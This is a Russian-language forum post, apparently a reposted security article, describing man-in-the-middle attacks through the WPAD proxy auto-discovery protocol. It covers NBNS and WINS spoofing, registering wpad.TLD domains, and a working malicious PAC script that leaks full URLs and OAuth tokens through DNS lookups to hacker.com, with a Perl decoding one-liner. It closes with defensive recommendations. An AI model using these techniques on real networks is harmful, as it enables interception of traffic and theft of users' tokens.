1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Mitm атака при помощи протокола WPAD.

Тема в разделе "Чужие", создана пользователем grs101, 22 июн 2016.

  1. TopicStarter Overlay
    grs101

    grs101

    Регистрация:
    30 сен 2012
    Сообщения:
    286
    Симпатии:
    262
    WPAD — это весьма простой протокол для автоматической настройки прокси-сервера. В этой статье я расскажу, как он устроен, какие возможности для эксплуатации он предоставляет с точки зрения злоумышленника, а также поделюсь идеями, как можно использовать эту технологию для частичного перехвата HTTPS-трафика.
    [​IMG]
    О протоколе
    WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config), представляющий собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении любого запроса браузер вызывает функциюFindProxyForURLиз PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это примерно так:

    Код:
    <span class="kwd">function</span> <span class="typ">FindProxyForURL</span><span class="pun">(</span><span class="pln">url</span><span class="pun">,</span><span class="pln"> host</span><span class="pun">)</span> <span class="pun">{</span>
        <span class="kwd">if</span> <span class="pun">(</span><span class="pln">host </span><span class="pun">==</span> <span class="str">"xakep.ru"</span><span class="pun">)</span> <span class="pun">{</span>
            <span class="kwd">return</span> <span class="str">"PROXY proxy.com:8080"</span><span class="pun">;</span>
        <span class="pun">}</span> <span class="kwd">else</span>
        <span class="kwd">if</span> <span class="pun">(</span><span class="pln">host </span><span class="pun">==</span> <span class="str">"microsoft.com"</span><span class="pun">)</span> <span class="pun">{</span>
            <span class="kwd">return</span> <span class="str">"PROXY anotherproxy.com:5050"</span><span class="pun">;</span>
        <span class="pun">}</span> <span class="kwd">else</span> <span class="pun">{</span>
            <span class="kwd">return</span> <span class="str">"DIRECT"</span><span class="pun">;</span>
        <span class="pun">}</span>
    <span class="pun">}</span>
    Помимо FindProxyForURL, в PAC-скрипте доступны различные вспомогательные функции для более гибкой настройки. С их помощью можно, например, указать, что браузер должен открывать google.com с трех до четырех часов в субботу через proxy1.com, весь день в воскресенье — через proxy2.com, а в другое время — вообще ходить напрямую, без прокси-сервера.

    Адрес PAC-скрипта можно прописать в настройках прокси браузера в явном виде — например, в Firefox это можно сделать в пункте настроек под названием «URL автоматической настройки сервиса прокси». Однако администратору сети вряд ли захочется прописывать настройки для всех браузеров каждого клиента вручную. Гораздо удобнее воспользоваться для этого WPAD.



    Как работает WPAD
    Первым делом WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (однако такая возможность практически не поддерживается браузерами), а затем отправляет HTTP-запрос наPlease login or register to view linksи скачивает полученный файл. При этом в различных операционных системах поиск файла wpad.dat будет происходить по-разному.

    Предположим, из настроек DHCP мы узнали, что имя домена —msk.office.work. Тогда Windows XP попытается найти его наwpad.msk.office.work(резолвинг домена будет происходить через DNS), а потом просто наwpad.office.work.

    • Please login or register to view links(DNS)
    • Please login or register to view links(DNS)

      [​IMG]

    Windows 7 ведет себя по-другому: сначала по DNS проверяет полный домен, потом пытается зарезолвить имя WPAD черезLink-Local Multicast Name Resolution, а затем — с помощьюNetBIOS Name Service. Последние два являются широковещательными протоколами, которые поддерживаются Windows начиная с Vista.

    • Please login or register to view links(DNS)
    • Please login or register to view links(LLMNR)
    • Please login or register to view links(NBNS)


      [​IMG]


    Использование в локальной сети
    Представим себя на месте злоумышленника, который хочет пустить весь локальный трафик через свой прокси-сервер. Если мы находимся в том же сегменте локальной сети и можем использовать NetBIOS, то можно воспользоваться готовым NBNS-спуфером из Metasploit.

    [​IMG]

    Если же мы находимся в другой подсети, но в нашей сети есть WINS-сервер, мы можем поднять Windows-хост с именем WPAD, чтобы WINS распространил информацию о нас. Этот кейс вполне рабочий: я тестировал его в достаточно крупной локальной сети одного вуза, и на хост, находящийся в сети даже меньше /24, начали приходить запросы с сотен различных IP.

    Использование в интернете
    В настоящее время существует 861 домен первого уровня. Помимо привычных .com, .net, .ru, .org, среди них встречаются и более экзотические — от .work и .school до .ninja и .vodka. Имена этих доменов вполне могут быть прописаны в опции domain-name DHCP-серверов. Таким образом, если в domain-name будет указан домен .school и мы зарегистрируем домен wpad.school, то все запросы за WPAD-файлом попадут к нам. Причем, если посмотреть на wpad.TLD доменов первого уровня, мы увидим следующую картину[​IMG]
    Пару лет назад я регистрировал домен wpad.co, на который действительно начали приходить многочисленные запросы за файлом wpad.dat. Но есть и более свежие свидетельства возможности перехватить то, что нам не предназначалось: месяц назад я зарегистрировал домен wpad.work. За 11 дней к нему обратились с 3901 уникального IP.

    [​IMG]

    Profit?
    Итак, мы заставили пользователей ходить через подконтрольный нам прокси-сервер. Что это нам дает? В случае HTTP-запросов — полный контроль над трафиком: заголовками и телом запроса и ответа, всеми параметрами, cookies, данными сабмитов форм и так далее.

    [​IMG]

    В случае с HTTPS мы увидим только метод CONNECT. Максимум доступной нам информации — хост и user-agent. К сожалению, самое интересное, то есть данные обмена между клиентом и сервером после handshake, для нас будет выглядеть лишь как набор бинарных данных.

    [​IMG]

    Back to PAC
    Несмотря на то что PAC-скрипт написан на JavaScript, в нем недоступны объекты window, document, не получится вывести пользователю alert (он будет отображен только в логах браузера). Тем не менее даже в этой урезанной версии есть свои приятные функции.
    [​IMG]

    Одна из них — isResolvable — проверяет, возможно ли разрешить доменное имя в IP-адрес. Работает это так:

    Код:
    
    <span class="kwd">if</span> <span class="pun">(</span><span class="pln">isResolvable</span><span class="pun">(</span><span class="pln">host</span><span class="pun">))</span>
        <span class="kwd">return</span> <span class="str">"PROXY proxy.com:8080"</span><span class="pun">;</span>
    Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе URL. Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash). Например, URLPlease login or register to view linksобработается следующим образом

    [​IMG]

    [​IMG]

    Независимо от того, какой браузер используется, у нас есть полный URL. Попытаемся, используя функцию isResolvable, перехватить URL. Для этого закодируем URL таким образом, чтобы он был валидным именем хоста, и допишем d.wpad.work, в NS-записи которого прописан наш DNS-сервер, где мы же отвечаем на все запросы и логируем их.

    Итак, с помощью нехитрых преобразований:

    Код:
    <span class="kwd">function</span><span class="pln"> encode</span><span class="pun">(</span><span class="pln">str</span><span class="pun">)</span> <span class="pun">{</span><span class="pln">
        r </span><span class="pun">=</span><span class="pln"> str</span><span class="pun">.</span><span class="pln">toLowerCase</span><span class="pun">()</span>
            <span class="pun">.</span><span class="pln">replace</span><span class="pun">(</span><span class="str">/([^a-z1-9])/</span><span class="pln">g</span><span class="pun">,</span> <span class="kwd">function</span><span class="pun">(</span><span class="pln">m</span><span class="pun">)</span> <span class="pun">{</span>
                <span class="kwd">return</span> <span class="str">"0"</span> <span class="pun">+</span><span class="pln"> m</span><span class="pun">.</span><span class="pln">charCodeAt</span><span class="pun">(</span><span class="lit">0</span><span class="pun">)</span>
            <span class="pun">})</span>
            <span class="pun">.</span><span class="pln">replace</span><span class="pun">(</span><span class="str">/([^.]{60})(.)/</span><span class="pln">g</span><span class="pun">,</span> <span class="str">'$1.$2'</span><span class="pun">)</span>
            <span class="pun">.</span><span class="pln">substr</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span> <span class="lit">240</span><span class="pun">);</span>
        <span class="kwd">return</span><span class="pln"> r </span><span class="pun">+</span> <span class="pun">(</span><span class="pln">r</span><span class="pun">.</span><span class="pln">slice</span><span class="pun">(-</span><span class="lit">1</span><span class="pun">)</span> <span class="pun">!=</span> <span class="str">"."</span> <span class="pun">?</span> <span class="str">"."</span> <span class="pun">:</span> <span class="str">""</span><span class="pun">)</span> <span class="pun">+</span> <span class="str">"hacker.com"</span><span class="pun">;</span>
    <span class="pun">}</span>
    <span class="kwd">function</span> <span class="typ">FindProxyForURL</span><span class="pun">(</span><span class="pln">url</span><span class="pun">,</span><span class="pln"> host</span><span class="pun">)</span> <span class="pun">{</span>
        <span class="kwd">var</span><span class="pln"> u </span><span class="pun">=</span><span class="pln"> encode</span><span class="pun">(</span><span class="pln">url</span><span class="pun">);</span>
        <span class="kwd">return</span><span class="pln"> isResolvable</span><span class="pun">(</span><span class="pln">u</span><span class="pun">)</span> <span class="pun">?</span> <span class="str">"DIRECT"</span> <span class="pun">:</span> <span class="str">"DIRECT"</span><span class="pun">;</span>
    <span class="pun">}</span>

    Наш тестовый URLPlease login or register to view linksпревращается в
    https058047047example046ru047063token061123.hacker.com, из которого можно достать исходную строку, например вот таким однострочником на Perl:

    echo ‘https058047047example046ru047063token061123.hacker.com’
    | perl -lape ‘s/.hacker.com$//; s/.//g; s/0(..)/chr($1)/eg;’

    Не секрет, что в фрагменте URL (location.hash) часто передаются OAuth-токены. Таким образом, в случае использования Firefox к нам в руки могут попасть и они.

    Итоги
    С помощью WPAD можно, невзирая на HTTPS, перехватывать локальный трафик, токены OAuth и другую информацию из URL. То же можно сделать и в сети Интернет, зарегистрировав домен wpad.LTD и попробовав поймать случайных жертв на эту ловушку.

    Теперь, используя имеющиеся у нас знания, посмотрим, как защититься от потенциальных атак с помощью WPAD. Ниже — основные рекомендации, выполнение которых позволит обезопасить свой трафик:

    • Не использовать «чужие» домены. Обычно советуют при отсутствии своего домена использовать .local, но я бы не рекомендовал этого делать, поскольку злоумышленник сможет совершить атаку через broadcast-резолверы, которые используют тот же домен, в частности Bonjour. Оптимально использовать зарегистрированное тобой доменное имя, и даже необязательно делать его разрешимым снаружи.
    • Резервировать адреса wpad в доменных зонах.
    • Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).
     
    • Like Like x 3
    Метки:

Поделиться этой страницей

Загрузка...